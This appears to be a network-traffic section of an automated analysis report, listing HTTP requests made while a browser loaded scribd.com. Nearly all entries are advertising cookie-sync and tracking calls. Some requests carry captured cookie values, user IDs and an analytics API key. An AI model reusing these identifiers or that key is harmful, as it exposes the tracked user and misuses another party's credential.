Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=39&uid=fe11c210-333f-4fc3-9ab6-4f25b193c6dc&us_privacy=1-N- HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /?gdpr=0&gdpr_consent=&us_privacy=&r=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D154%26advUuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D%26us_privacy%3D HTTP/1.1Host: sync.ingage.techConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: __cf_bm=BDUwEWmSEFPGRv5FaDlLasay6hm0Aj6PQ31LRRhZ8Jk-1739863209-1.0.1.1-jyV.frSirUFWPei.rMRXF3Yc5_GFIVrg87NRKIwtpDSIpLr60DoJ9dNdyhnXnok_e6t8cng03MnfpEYDbdm.yQ; instUid=65023955-4816-4674-89c6-bc6e7f69d9a0
Source: global traffic	HTTP traffic detected: GET /id HTTP/1.1Host: id.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _cc_id=ce74ff1dafe0d2d1d9556e3d59cef009
Source: global traffic	HTTP traffic detected: GET /uploads/cn1/video/users/converted/29874/video_65ba1ab406070534415698/vid6793665ef0992447929939.jpg?cbuster=1737713253 HTTP/1.1Host: video.primis.techConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: csuuid=67b434a8abd6b
Source: global traffic	HTTP traffic detected: GET /ima.js HTTP/1.1Host: cdn-ima.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8If-None-Match: W/"678fc4e6-41f8"If-Modified-Since: Tue, 21 Jan 2025 16:01:42 GMT
Source: global traffic	HTTP traffic detected: GET /oRTB?gdpr=0&gdpr_consent=&redirect=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11595%26id%3D%7BID5UID%7D HTTP/1.1Host: sync.inmobi.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=160318&gdpr=&gdpr_consent=&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160318%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fusr.undertone.com%252FuserPixel%252Fsync%253FpartnerId%253D53%2526uid%253D%2523PMUID&us_privacy=1-N-&rdf=1 HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dappnexus%26userId%3D%24UID%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-&gdpr=&gdpr_consent= HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /usync.html?p=12776&us_privacy=1-N- HTTP/1.1Host: eus.rubiconproject.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0onifGjSD3hyvyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: OPTIONS /logevent/putRecords?encoded=true HTTP/1.1Host: prod.tahoe-analytics.publishers.advertising.a2z.comConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: content-type,x-api-keyOrigin: https://www.scribd.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: cross-siteSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /gm/v3 HTTP/1.1Host: id5-sync.comConnection: keep-aliveContent-Length: 3165sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v000/sync?extinit=0&userid=2630127119070967565&pn_id=an&us_privacy=1-N- HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v000/sync?userid=q8k2HeVI5xhQ&ev=1&pn_id=pp&gpp_sid=&gpp=&us_privacy=1-N-&pid=561118&gdpr_consent=&gdpr=0 HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11584&uid=x_7JdzzTT9z7mLFduO61&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11580&puid=213002944097145 HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /cs?aid=11603&gdpr=[GDPR]&gdpr_consent=[USER_CONSENT]&uid= HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11596&gdpr=[GDPR]&gdpr_consent=[USER_CONSENT]&id=2630127119070967565 HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=fff333a6-de39-4d86-ac69-1c4d6dbcef67%252C%252C&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11592&uid=P3nIw6mfctvU&ev=1&us_privacy=[US_PRIVACY]&gdpr_consent=&pid=562615&gdpr=0 HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /sync?pn_id=rc&id=M7A5MT0O-13-DO11&us_privacy=1-N- HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11574&id=95e9455b08 HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?gdpr=%5BGDPR%5D&gdpr_consent=%5BUSER_CONSENT%5D&sub=typeaholdings HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?aid=11587&uid=e52952e5-ebc8-4e6b-85e8-7ec945393abe&gdpr=0 HTTP/1.1Host: cs.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=primis&zcc=1&cb=1739863217244 HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?aid=11601&id=702e3c9541d971a791932fa4f91bad3&gdpr_consent=&gdpr=0 HTTP/1.1Host: cs.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /i/882/8.gif?o=api&id5id=ID5PLK6J87bZd3qn33SXG2Vk6jJFvUGb5f_w1dO7B7EXRn6ZYzWDk0HiclqRpX_sf2D&gdpr_consent=undefined&gdpr=false&gpp=DBACOe%7ECQNBgcAQNBgcAEXikAENA0EwAP_gAEPgACiQGpQCgAGgAcABoAEUAJgAUABHALhAXmA1IC84A4AHAAaABFACYAFAARwC8wAA%7EBQNBgcAQNBgcAEXikAENA0CgAf_AAIfAAAalAKAAaABwAGgARQAmABQAEcAuEBeYDUgLzgDgAcABoAEUAJgAUABHALzA%7E1-N-&gpp_sid=6 HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /events/v2/supply?p=lpcWMtnWlxNNbyRpmuNu HTTP/1.1Host: events.browsiprod.comConnection: keep-aliveContent-Length: 476sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=rise&tc=1 HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: ts=1739863216
Source: global traffic	HTTP traffic detected: POST /logevent/putRecords?encoded=true HTTP/1.1Host: prod.tahoe-analytics.publishers.advertising.a2z.comConnection: keep-aliveContent-Length: 680sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47x-api-key: 79db72eb0b5c7255afa54a253df24fb4a5ac916bf40b51c730df8850aa5665casec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /lb/v1 HTTP/1.1Host: lb.eu-1-id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /redirectuser?consent_string=&gdpr=0&r=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11612%26id%3D%24UID&sid=716 HTTP/1.1Host: ssp.disqus.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /g/v2/212.json HTTP/1.1Host: id5-sync.comConnection: keep-aliveContent-Length: 821sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
